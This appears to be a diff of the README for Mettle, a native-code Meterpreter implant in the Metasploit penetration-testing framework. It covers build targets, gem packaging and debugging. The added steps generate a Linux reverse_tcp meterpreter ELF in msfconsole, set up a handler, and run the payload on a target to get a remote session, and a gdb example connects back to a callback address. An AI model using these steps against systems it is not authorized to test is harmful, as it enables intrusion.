1- Mettle
2- ======
1+ # Mettle
32
4- This is an implementation of a native-code Meterpreter, designed for
5- portability, embeddability, and low resource utilization. It can run on the
6- smallest embedded Linux targets to big iron, and targets Android, iOS, macOS,
7- Linux, and Windows, but can be ported to almost any POSIX-compliant
8- environment.
3+ This is an implementation of a native-code Meterpreter, designed for portability, embeddability, and low resource
4+ utilization. It can run on the smallest embedded Linux targets to big iron, and targets Android, iOS, macOS, Linux, and
5+ Windows, but can be ported to almost any POSIX-compliant environment.
96
10- Building on Linux
11- ------------
7+ ## Building on Linux
128
13- Debain, Ubuntu, and derivatives are most supported for builds. To build, you need at least 5GB of free disk space, and the following packages available:
9+ Debain, Ubuntu, and derivatives are most supported for builds. To build, you need at least 5GB of free disk space, and
10+ the following packages available:
1411
1512```
1613# Dependencies
1714apt install curl build-essential git autoconf automake libtool bison flex gcc ruby rake bundler git mingw-w64
1815```
1916
20- The Dockerfile under docker/Dockerfile contains a pre-configured build
21- environment as well.
17+ The Dockerfile under docker/Dockerfile contains a pre-configured build environment as well.
2218
23- Building on macOS
24- ------------
19+ ## Building on macOS
2520
2621On macOS you will need to install the xcode command line tools as follows:
2722
2823```
2924xcode-select --install
3025```
3126
32- Make Targets
33- ------------
27+ ## Make Targets
3428
3529For general development, there are a few make targets defined:
3630
37- Running ` make ` will build for the local environment. E.g. if you're on macOS,
38- it will build for macOS using your native compiler and tools.
31+ Running ` make ` will build for the local environment. E.g. if you're on macOS,it will build for macOS using your native
32+ compiler and tools.
3933
40- ` make TARGET=triple ` will build for a specific host triple. See below for some
41- common ones.
34+ ` make TARGET=triple ` will build for a specific host triple. See below for some common ones.
4235
4336` make clean ` will clean the 'mettle' directory for the current build target
4437
@@ -48,8 +41,7 @@ common ones.
4841
4942` make clean-parallel ` and ` make distclean-parallel ` do similar for all targets.
5043
51- Packaging
52- =========
44+ # Packaging
5345
5446To build the gem for distribution (currently requires Linux or macOS):
5547
@@ -69,8 +61,7 @@ To completely reset your dev environment and delete all binary artifacts:
6961rake mettle:ultraclean
7062```
7163
72- Gem API
73- -------
64+ ## Gem API
7465
7566To generate a payload with Mettle:
7667``` ruby
@@ -91,15 +82,14 @@ The available platform triples for Linux targets are:
9182* ` mips64-linux-muslsf `
9283* ` s390x-linux-musl `
9384
94- For Mingw32-64 Windows targets, the following triples are added. On up-to-date
95- Debian / Ubuntu systems, the ` mingw-w64 ` package will install both toolchains.
85+ For Mingw32-64 Windows targets, the following triples are added. On up-to-date Debian / Ubuntu systems, the ` mingw-w64 `
86+ package will install both toolchains.
9687
9788* ` x86_64-w64-mingw32 `
9889* ` i686-w64-mingw32 `
9990
100- For macOS/iOS builds, the following triples are added. To target older macOS/OSX
101- versions, see https://github.com/phracker/MacOSX-SDKs to get the appropriate
102- SDK folder.
91+ For macOS/iOS builds, the following triples are added. To target older macOS/OSX versions, see
92+ https://github.com/phracker/MacOSX-SDKs to get the appropriate SDK folder.
10393
10494* ` arm-iphone-darwin `
10595* ` aarch64-iphone-darwin `
@@ -129,24 +119,109 @@ The formats are:
129119* ` :process_image ` - a process image that must be started with a custom stack (see ` doc/stack_requirements.md ` )
130120
131121
132- Using with Metasploit
133- ---------------------
122+ ## Using with Metasploit
134123
135124To pull your local changes of mettle into your Metasploit install:
136125
137- 1 . Add ` -dev ` to the version in ` lib/metasploit_payloads/mettle/version.rb `
138- 2 . Build the gem as above
126+ 1 . Add ` -dev ` to the version in ` lib/metasploit_payloads/mettle/version.rb ` :
127+ ```
128+ # -*- coding:binary -*-
129+ module MetasploitPayloads
130+ VERSION = '1.0.28-dev'
131+
132+ def self.version
133+ VERSION
134+ end
135+ end
136+ ```
137+ 2 . Build the gem with:
138+ ```
139+ rake build
140+ ```
1391413 . Copy ` pkg/metasploit-payloads-mettle-X.X.X.pre.dev.gem ` to the box you are using for Metasploit if it is different
140- 4 . Change the version in your metasploit-framework.gemspec to match the one you just built
142+ 4 . Change the version in your ` metasploit-framework.gemspec ` to match the one you just built:
143+ ```
144+ spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.28-dev'
145+ ```
1411465 . ` gem install <path to new gem> ` (for example: 'metasploit_payloads-mettle', '0.4.1.pre.dev')
142- 6 . Run ` bundle install ` in your Framework directory, and ensure you see something like ` Using metasploit_payloads-mettle 0.4.1.pre.dev (was 0.4.1) ` in the output
143- 7 . Congrats, you are now done!
147+ ```
148+ gem install metasploit_payloads-mettle-1.0.28.pre.dev.gem
149+ ```
150+ 6 . Run ` bundle install ` in your Framework directory, and ensure you see something like the following in the output:
151+ ```
152+ Using metasploit_payloads-mettle 1.0.28.pre.dev (was 1.0.26)
153+ ```
154+
155+ Within ` msfconsole ` :
156+ 7 . Use an appropriate payload:
157+ ```
158+ use payload/linux/x64/meterpreter/reverse_tcp
159+ ```
160+
161+ 8 . Generate the payload:
162+ ```
163+ generate -f elf -o mettle.elf
164+ ```
165+
166+ 9 . Change the file permissions:
167+
168+ ```
169+ chmod +x mettle.elf
170+ ```
171+
172+ 10 . Set up a handler
173+ ```
174+ to_handler
175+ ```
176+
177+ 11 . Move the payload to the target machine and run it, you should now get back a session on ` msfconsole ` !
178+
179+
180+ ## Docker
181+ The following steps make use of ` gdb ` for debugging.
182+ 1 . Run the Docker container:
183+ ```
184+ sudo docker run -it -v $(pwd):$(pwd) -w $(pwd) rapid7/build:mettle /bin/bash
185+ ```
186+
187+ 2 . Within the container run the following commands:
188+ ```
189+ sudo apt-get update
190+ sudo apt-get install gdb
191+ ```
192+
193+ 3 . Compile(` D=1 ` enables debugging):
194+ ```
195+ make clean
196+
197+ make D=1
198+ ```
199+
200+ 4 . Then run with ` gdb ` :
201+ ```
202+ gdb --args /home/ubuntu/code/mettle/build/linux.x86_64/bin/mettle --debug 3 --uri "tcp://192.168.175.1:4444"
203+ ```
204+
205+ 5 . Once within ` gdb ` run the following commands:
206+ ```
207+ b *main
208+
209+ run
210+ ```
211+
212+ 6 . To get breakpoint in ` gbd ` add the following into your code:
213+ ```
214+ __asm("int3");
215+ ```
216+
217+ ### TUI
218+ [ TUI] ( https://sourceware.org/gdb/current/onlinedocs/gdb.html/TUI.html ) allows ` gdb ` to show the code above the terminal
219+ for easier code traversal when debugging. _ Note_ TUI will remove use of arrows for navigating console history.
220+
221+ ## Pushing out a New Gem
144222
145- Pushing out a New Gem
146- ----------------------
147223Build CI will automatically publish new gems when commits land to master and pass build.
1482241 . Test Locally
1492252 . Land the changes to upstream master
1502263 . Monitor for the new gem on rubygems.org
1512274 . Once the gem appears, make a PR for bumping the version in framework
152-
0 commit comments